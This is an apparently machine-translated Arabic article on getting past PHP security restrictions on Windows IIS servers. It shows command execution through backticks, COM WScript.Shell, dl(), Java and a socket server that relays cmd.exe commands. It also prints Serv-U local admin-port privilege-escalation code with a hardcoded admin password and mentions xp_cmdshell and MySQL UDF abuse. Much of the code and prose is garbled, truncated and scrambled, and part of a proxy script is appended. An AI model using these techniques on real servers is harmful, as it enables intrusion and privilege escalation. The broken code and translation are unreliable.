من WIN2000 إلى WIN XP ومن ثم إلى WIN2003، أصبح التحسن في أمان خادم MS IIS واضحًا. في WIN2000، يمكن لـ PHP SHELL العادي التغلب عليه؛ في WIN XP، حتى لو كان الوضع الآمن = إيقاف، لا يمكنك استخدام وظائف مثل system() لتنفيذ أوامر النظام، ولكن لا يزال بإمكاننا استخدام وظيفة com() للاختراق؛ اعتبارًا من WIN 2003، حتى إذا تم تثبيت IIS وPHP بشكل افتراضي، فقد لا تتمكن من استخدام system() أو com() للتغلب عليهما. في هذا الوقت عليك استخدام بعض الأساليب الجديدة لتحقيق اختراقات.
1. اختراق الوظائف
في php-4.0.1 أو أعلى، تم تقديم وظيفة Disable_functions في php.ini. هذه الوظيفة مفيدة جدًا ويمكن استخدامها لتعطيل بعض الوظائف. على سبيل المثال، إذا قمت بإضافة Disable_functions = passthru exec system popen إلى php.ini، فعند تنفيذ هذه الوظائف، ستتم مطالبتك بتحذير: تم تعطيل النظام () لأسباب أمنية، وسيتم إنهاء البرنامج. ولكن لا توجد طريقة لتنفيذ أوامر النظام. نظرًا لأن PHP تستخدم العديد من ميزات Perl، على سبيل المثال، يمكنك أيضًا استخدام (`) لتنفيذ الأوامر. نموذج التعليمات البرمجية كما يلي:
<?$output = `ls -al`;echo "<pre>$output</pre>. ";؟>
يقال أنه لا يمكن تجنب ذلك إلا عن طريق ضبط الوضع الآمن على التشغيل، ولكن في المرة الأخيرة التي استخدمته على خادم أجنبي، ظل الأمر فاشلاً. الناس ليسوا محظوظين دائمًا :)
2.عند
تطبيق dl( ) الوظيفة
عندما لا يمكن استخدام أي من أرقام تنفيذ الأوامر الداخلية في PHP و''، يمكنك تجربة dl(). لا يمكن استخدام هذه الطريقة إلا مع الوضع الآمن = إيقاف لأنه معطل في الوضع الآمن. باستخدام dl() يمكنك استدعاء وظيفة W32api مباشرة، ولسوء الحظ، تم نقل هذا الامتداد إلى مكتبة PECL ولم يعد مرتبطًا منذ PHP 5.1.0 أو أقل. ما يلي هو مثال من الدليل:
// قم بتحميل هذا الامتداد
dl("php_w32api.dll");
// سجل وظيفة GetTickCount، من kernel32.dll
w32api_register_function("kernel32.dll"،
"GetTickCount"،
"long") ;
// تسجيل وظيفة messageBoxA، من User32.dll
w32api_register_function("User32.dll"،
"MessageBoxA"،
"long")؛
//
الحصول على معلومات وقت التمهيد
$ticks = GetTickCount();
text
$secs = Floor ($ticks / 1000);
$
mins = Floor($secs /
60);
"rn %d ميلي ثانية، أو rn %d ثانية".
"أو rn %d دقيقة أوrn %d ساعة %d دقيقة."،
$tick،
$secs،
$mins ,
$hours,
$ mins - ($hours*60));
// عرض مربع حوار الرسالة مع زر موافق فقط ونص وقت التمهيد
messageBoxA(NULL,
$str,
"Uptime Information"،
MB_OK
?>
لسوء الحظ
).لم أفهم ذلك بعد، ولدي فهم شامل لـ dl() وW32api، لذا لن أعطي أمثلة عشوائية لتجنب تضليل القراء.
3. تطبيق وظائف COM و.Net (Windows)
COM (نموذج كائن المكون) هو أحد مواصفات البرامج التي طورتها شركة Microsoft، ويتم استخدامه لتطوير مكونات البرامج الموجهة للكائنات والمترجمة، وهو يسمح باستخلاص البرنامج إلى مكونات ثنائية. تستخدم بشكل رئيسي على منصة ويندوز.
يحتوي إصدار Windows من PHP بالفعل على دعم مدمج لوحدة الامتداد هذه. ليست هناك حاجة لتحميل أي مكتبات ملحقة إضافية لاستخدام وظائف COM. يشبه استخدامه بناء الجملة لإنشاء فئة في C++ أو Java، ويتم تمرير اسم فئة COM إلى المُنشئ كمعلمة. على سبيل المثال، استخدم "WScript.Shell" في PHP لتنفيذ أوامر النظام:
$cmd="E:/cert/admin/psexec.exe";
if($com=new COM("WScript.Shell")) echo "yes " ;
if(!$cmd1=$com->exec($cmd))
{
echo "لا يمكن تنفيذ exec()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "لا يمكن stdout( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
الشكل 1 هو مثال كتبته لتنفيذ psexec.exe.
معنى هذا الرمز هو نفسه تمامًا معنى ASP. بالطبع، يمكنك أيضًا الاتصال بـ "ADODB.Connection" مثل ASP. باستخدام هذا المكون المقترن بثغرة jet2 overflow، قد تتمكن من الحصول على Shell ضمن PHP Saft الوضع = تشغيل.
// إنشاء اتصال قاعدة البيانات
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" .realpath("mydb.mdb"
$ conn->Open($dsn);
// سحب البيانات من خلال سلسلة SQL
$rs = $conn->Execute("تحديد العملاء من الويب");
…..
?>
يمكن تشغيل الدالة Net فقط على PHP 5, Of بالطبع، يتطلب دعم ".Net runtime"، وهذه وحدة تجريبية من PHP لم تعمل بكامل طاقتها بعد، لذلك لن أناقشها هنا.
4. تطبيق وظيفة Java ()
هذه الطريقة مناسبة للوضع الآمن = التشغيل. لاستخدام خادم وحدة JAVA، يجب عليك تثبيت جهاز Java الظاهري مسبقًا، وتشغيل خيار with-java أثناء تثبيت PHP وتكوينه:
[JAVA]
هذا هو المسار إلى php_java.jar
؛ java.class.path = .php_java.jar
;مسار JDK
;Java.home = f:jdk1.3.0
;المسار إلى الجهاز الظاهري
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll
هو نفس COM، لإنشاء فئة في Java (وليس JavaBeans فقط)، ما عليك سوى تمرير اسم فئة JAVA كمعلمة إلى المُنشئ. إليك مثال من الدليل:
// هذا المثال مخصص فقط للتشغيل كـ CGI
$frame = newJava
('java.awt.Frame', 'PHP');
awt.Button'
, 'Hello Java World!');
$
frame-
>add('North', $button);
;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose();
?>
لسوء الحظ، لا يوجد العديد من خوادم PHP التي يمكنها دعم Java حقًا ليست هناك حاجة لمناقشة هذا كثيرا.
5. تطبيق وظيفة المقبس ()
المقبس هو وحدة قوية للغاية في PHP إذا كنت تستخدم واجهة مجردة عالية المستوى (مقبس مفتوح بواسطة وظائف fsockopen () وpsockopen)، فلن تحتاج إلى فتح "php_sockets.dll". ل. ولكن إذا كنت تريد استخدام كتلة وظيفة المقبس الكاملة، فيجب عليك تعيينها على النحو التالي في php.ini:
;
لاحظ أن دعم MySQL وODBC مدمج الآن، لذا لا حاجة إلى ملف dll لذلك
.
؛ قم بإزالة الجملة التالية الفاصلة المنقوطة في المقدمة
؛ Extension=php_sockets.dll
يستخدم كتلة وظيفة المقبس الخاصة بـ PHP لتنفيذ إعادة توجيه/إعادة توجيه المنفذ، واستنشاق الحزم، والتجاوز المحلي، ووظائف أخرى. علاوة على ذلك، يمكن استخدامه أيضًا لإنشاء خادم TCP/UDP. وفي الوقت نفسه، أعتقد أنه أيضًا أفضل طريقة لاختراق سياسة أمان الخادم. فيما يلي مثال لفتح منفذ على الخادم لإنشاء خادم TCP. يمكنك استخدامه لتجميع cmd.exe الخاص بالخادم:
// إنشاء خدمة TCP على الخادم
// يتطلب هذا المثال دعم php_sockets.dll.
// بعد التنفيذ، يمكنك استخدام "telnet 127.0.0.1 1020" للاتصال
error_reporting(E_ALL);
/* السماح للبرنامجالنصي
بالبقاء في انتظار الاتصالات */
set_time_limit(0);
ما حصلنا عليه
* فور ظهوره. */
ob_implicit_flush();
// ربط IP والمنفذ على الخادم
$address = '127.0.0.1';
$
port = 1020;
SOCK_STREAM, SOL_TCP) ) < 0) {
فشل echo "socket_create()
: السبب: "
.
< 0) {
فشل
echo "socket_bind(
): السبب: "
.
فشل
:السبب
:
"
.
msgsock) . " n";
Break;
}
/* أرسل التعليمات */
$msg = "nمرحبًا بك في خادم اختبار PHP. n"
"للإنهاء، اكتب 'quit'. لإيقاف تشغيل الخادم.
Shutdown
'
. n
"
;
:
السبب
:
"
.
"
if ($buf == 'shutdown') {
مقبس_إغلاق($msgsock
);
Break 2;
}
$talkback = "PHP: لقد قلت '$buf'.n";
));
echo "$bufn";
// العمليات التالية للbuf المستلمة
/
*eg: على سبيل المثال
$buf="cmd.exe /c netstat –an";
r');
while ($read=
fgets(
$pp
,
2096))
echo
$read
;
sock);
?>
في الواقع، لا يقوم العديد من المضيفين بتحميل php_sockets.dll. ولحسن الحظ، فإن وظيفة "fsockopen" التي لا تتطلب دعم وحدة المقبس كافية لاستخدامها. لأنه طالما يوجد "fsockopen"، يمكننا قراءة وكتابة المنافذ غير المفتوحة للعالم الخارجي على هذا الجهاز بحرية. يعد استخدام fsockopen لقراءة وكتابة منفذ الإدارة المحلي 43958 لـ serv-u (ملاحظة: لا يمكن توصيل هذا المنفذ خارجيًا) لتصعيد الامتيازات مثالًا نموذجيًا:
$adminuser="LocalAdministrator";
$adminpass=" #l@$ak# .lk;0@P ";
$adminport=" 43958";
$
fp = fsockopen("127.0.0.1", $adminport, $errno, $errstr, 8)
;
$errno)
n";
} else {
// يمكن كتابة كود القشرة
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
Sleep ( 1);
fputs
($fp, "PASS
".$adminpass."rn"
)
;
$fp, "-SETUSERSETUPrn");
fputs ($fp,
"-IP=".$addr."rn");
rn");
fputs ($fp, "-User=".$user."rn");
fputs ($fp, "-Password=".$password."rn") ;
fputs ($
fp, "-HomeDir=".$homedir."rn")
;
rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0 rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn"); fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fputs
($fp, "-Expire=0rn
");
($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn
");
fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-Maintenance=Systemrn"
);
;
fputs ($
fp, "-Ratios=Nonern")
; n");
Sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
يمكنك أيضًا استخدام fsockopen لكتابة وكيل HTTP للوصول إلى الشبكة الخارجية أو مواقع الكمبيوتر المحلية التي يمكن الوصول إليها خارجيًا. لدي HTTPProxy كامل (الشكل 4) برمز طويل. يمكن للقراء المهتمين إلقاء نظرة.
6. تختلف واجهة MYSQL/MSSQL
عن Linux حيث يتم تشغيل mysql/MSSQL ضمن Windows بشكل عام كمسؤول النظام، لذلك، طالما يمكنك الحصول على كلمة مرور root/sa في قاعدة بيانات SQL المحلية، يمكنك استخدامها مباشرة يتصل PHP بقاعدة البيانات لتنفيذ أوامر النظام.
يتطلب تنفيذ أوامر النظام في Mysql استغلال ثغرة الوظيفة المحددة من قبل المستخدم "MySQL UDF Dynamic Library". في MSSQL، طالما أنك متصل بقاعدة البيانات، يمكنك استدعاء أمر التنفيذ الموسع "master..xp_cmdshell" مباشرة، والأذونات هي بالطبع أذونات النظام.
للتلخيص: نظرًا لاختلاف إصدارات النظام وIIS وPHP، قد تتغير طرق الاختراق المذكورة أعلاه. لدى PHP أيضًا العديد من الوظائف الموسعة التي يمكن استخدامها اختراق قيود سياسة أمن النظام!
مرفق رمز proxy.php
error_reporting(E_ALL);
/*
// هذا البرنامج هو برنامج مجاني؛ يمكنك إعادة توزيعه و/أو
تعديله بموجب شروط رخصة جنو العامة
// كما نشرتها البرمجيات الحرة. Foundation؛ إما الإصدار 2
// من الترخيص، أو (حسب اختيارك) أي إصدار أحدث.
//
// يتم توزيع هذا البرنامج على أمل أن يكون مفيدًا،
// ولكن بدون أي ضمان؛ of
// القابلية للتسويق أو الملاءمة لغرض معين. راجع
// ترخيص GNU العام لمزيد من التفاصيل
//
// يجب أن تكون قد حصلت على نسخة من ترخيص GNU العام
// مع هذا البرنامج، إذا لم يكن الأمر كذلك، فاكتب إلى البرمجيات الحرة
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
//---------------------
.----- --------------------------------------------- --
// الفئة : PHProxy
// المؤلف: Ultimategamer00 (عبد الله أ.)
// آخر تعديل: 6:28 مساءً بتاريخ 22/06/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $str
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
($شارع، $alpha[0]، $alpha[1] );
}
}
class PHProxy
{
var $allowed_hosts = array();
var $
script_url;
var
$url_segments
;
Remove_scripts' =>1
, 'accept_cookies' => 1, 'show_images' =>1
, 'show_referer' => 1);
var
$
content_type
;
Response_body
function
PHProxy( $flags = 'previous')
{
$
this-
>version ='
0.2'
;
$this->url_segments ['query']) ?"
؟" : '') " HTTP/1.0rn"
;
-Agent: Mozilla/ 4.0 (متوافق؛ MSIE 6.0؛ Windows NT 5.1)rn";
$headers .= "Accept: text/xml, application/xml, application/xhtml+xml, text/html; , text/plain; q=0.8, video/x-mng, image/png, image/jpeg, image/gif
; : Closer n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
}
$cookies = $this->get_cookies();
$headers .= $ cookies != '' ? "ملف تعريف الارتباط: $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query') ]) ? "? " : '') . " HTTP/1.0rn";
$headers
.= "Host: :rn";
MSIE 6.0; Windows NT 5.1)rn";
$headers .= "قبول: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, video/x-mng , image/png, image/jpeg, image/gif;q=0.2,*/*;q=0.1rn";
$headers .= "Connection: Closern";
if ($this-> flags['show_referer'] == 1)
{
$headers .= "Referer: rn"
}
$
cookies = $this->get_cookies();
' "ملف تعريف الارتباط: ملفات تعريف الارتباط $rn" : ''
;